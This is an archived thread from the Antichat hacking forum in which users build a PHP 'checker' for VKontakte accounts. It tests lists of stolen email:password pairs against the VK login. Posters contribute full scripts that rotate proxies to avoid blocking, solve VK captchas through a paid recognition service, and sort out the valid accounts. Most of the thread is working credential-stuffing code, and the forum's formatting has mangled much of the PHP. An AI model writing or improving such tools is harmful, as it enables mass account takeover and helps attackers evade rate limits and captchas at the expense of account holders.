Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   чекер аккаунтов вконтакте (https://forum.antichat.xyz/showthread.php?t=188195)

SkyLine32 19.03.2010 01:15

чекер аккаунтов вконтакте
 
Уважаемые кодеры!
Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. :))
Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
Cannot redeclare curl()
Помогите разобраться!

PHP код:

<form method="post" />
<textarea cols=80 rows=18 name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {
foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos strpos($line':');
$email substr($line0$pos);
$pos2 strpos($line':');
$pass substr($line$pos2);
$pass = @ereg_replace(":"""$pass);

function 
curl($url,$post)
{
$cfile 'cheker-cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); 
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER1);

$proxy="ip:port";

curl_setopt($chCURLOPT_PROXY$proxy); 
curl_setopt($chCURLOPT_POSTFIELDS$post); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

$result curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email<br>$pass - bad";
unlink('cheker-cookies.txt');
}
}
?>


Gifts 19.03.2010 01:43

SkyLine32 Объявление функции сделайте вне цикла

SkyLine32 19.03.2010 02:06

Цитата:

Сообщение от Gifts
SkyLine32 Объявление функции сделайте вне цикла

помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...

SkyLine32 19.03.2010 04:04

PHP код:

<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {

function 
curl($url,$post)
{
$cfile 'cheker-cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER1);

$proxy="ip:port";

curl_setopt($chCURLOPT_PROXY$proxy); 
curl_setopt($chCURLOPT_POSTFIELDS$post); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos strpos($line':');
$email substr($line0$pos);
$pos2 strpos($line':');
$pass substr($line$pos2);
$pass = @ereg_replace(":"""$pass);

$result curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>

Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?

SkyLine32 19.03.2010 23:50

Что никто не знает как решить данную задачу?

b3 20.03.2010 00:42

Цитата:

Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

Цитата:

Что никто не знает как решить данную задачу?
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

SkyLine32 20.03.2010 01:33

Цитата:

Сообщение от b3
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет :D Ну слава богу хоть ты мне кое что посоветовал...

Цитата:

Сообщение от b3
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

Ротация прокси это имеется ввиду их смена?
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?

b3 20.03.2010 04:45

Цитата:

Ротация прокси это имеется ввиду их смена?
Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.

Цитата:

А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.

qwerra 20.03.2010 05:09

Наверное надо как то так:

PHP код:

<?
set_time_limit
(0);

require_once 
'config.ini';


function 
recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post'
        
'key'       => $apikey
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,
        
    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://www.antigate.com/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch)) 
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
        
$waittime 0;
        if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout
                {
                    if (
$is_verbose) echo "timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
            }
        }
        
        return 
false;
    }
}

function 
GetList($filename){
if(!
file_exists($filename)||filesize($filename)==0)return -1;
$handle fopen($filename,'r');
$source fread($handle,filesize($filename));
fclose($handle);
$source str_replace(array("\r","\t"),"",$source);
$source explode("\n",$source);
return 
$source;
}

function 
ToLog($str)
{
global 
$log_handle;
fwrite($log_handle,$str);
echo 
$str;
flush();
}

function 
Login($login,$password)
{
$init curl_init();
curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS'op=a_login_attempt');
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
if(
strstr($source,'Enter code')){
global 
$use_AC,$captcha_file;
if(
$use_AC)
{
preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|'$source$cid);
$img fopen($captcha_file,"w");
fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
fclose($img);
$captcha_code=recognize($captcha_file,$AC_key,false);
$init curl_init();
curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS"op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
return array(
'captcha_block',null);
}
else
return array(
'captcha_block',null);
}

$init curl_init();
curl_setopt($initCURLOPT_URL'http://login.vk.com/?act=login');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
if(
preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|'$source$rsid))
return array(
'valid',$rsid[1]);
else 
return array(
'invalid',null);
}




$log_handle fopen($log_file,"a+");
$good_handle fopen($good_file,"a+");
$bad_handle fopen($bad_file,"a+");
$accounts GetList($vk_accs);
if(
$accounts==-1)
die(
"\r\n file accounts not found or clean \r\n");
$val_acc = (count($accounts)-1);

for(
$i=0;$i<=$val_acc;$i++)
{
if(
$accounts[$i]=='')
continue;
list(
$mail,$pass) = explode($delimeter,$accounts[$i]);
$res Login($mail,$pass);
switch(
$res[0])
{
case 
'captcha_block':
if(!
$use_AC){
ToLog("$mail$delimeter$pass [captcha block]\r\n");
}
else
$i--;
break;

case 
'valid':
ToLog("$mail$delimeter$pass [valid!]\r\n");
fwrite($good_handle,"$mail$delimeter$pass\r\n");
break;

case 
'invalid':
ToLog("$mail$delimeter$pass [invalid]\r\n");
fwrite($bad_handle,"$mail$delimeter$pass\r\n");
break;

}
}
fclose($log_handle);
fclose($good_handle);
fclose($bad_handle);
?>


SkyLine32 22.03.2010 22:33

Вроде чекает норм, для меня для начинающего в области php сойдёт :D
Всем спасибо за помощь!

PHP код:

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<title>чекер вконтакте</title>
<style type='text/css' media='all'>
body,html {
    background:#004243;
    font-family: verdana;
    font-size:10px;
    color:#2D8AB9;
}
textarea {
    background:#008A8C;
    font-family: verdana;
    font-size:10px;
    color: #FFFFFF;
}
#ok {
    color: #00A437;
    font-family: Verdana;
    font-size: 10px;
    background-color: #111;
    border-color: #002E3B;
    cursor:pointer;
}
</style>
</head>
<body>
<form method="post" />
<textarea cols="100" rows="25" name="akki-list">
</textarea>
<br /><br />
<input type="submit" value=" Send " id='ok' />
</form>
<form action="http://best.vg/" method="post" />
<input type="submit" value=" © " id='ok' />
</form>
<?php
    set_time_limit
(0);

    
$cookies     =    'cookies.txt';
    if(isset(
$_POST['akki-list']))
{
function 
curl($url,$post)
{
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_COOKIEJAR$cookies);
    
curl_setopt($chCURLOPT_COOKIEFILE$cookies);
    
curl_setopt($chCURLOPT_HEADER1); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post);
    
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
    @
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    
curl_setopt($chCURLOPT_PROXY$proxy.':'.$port);
    
//curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
$result curl_exec($ch);
    
curl_close($ch);
    return 
$result;
};
foreach(
explode("\n",$_POST['akki-list']) as $line)
{
    
$pos    =    strpos($line':');
    
$email    =    substr($line0$pos);
    
$pos2    =    strpos($line':');
    
$pass    =    substr($line$pos2);
    
$pass    =    @ereg_replace(":"""$pass);

    
$file     =     file('proxy.txt');
    
$prox     =     explode(':'$file[0]);
    
$proxy     =     $prox['0'];
    
$port     =     $prox['1'];
    
    
$newp str_replace($proxy.':'.$port''file_get_contents('proxy.txt'));
if(
$prf fopen('proxy.txt''w+'))
{
    
fwrite($prf$newp);
    
fclose($prf);

    
$result    =    curl('http://vkontakte.ru/','');
if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
"<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
    else
    echo 
"<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
}
else {echo 
'хз';}
}
}
?>



Время: 07:07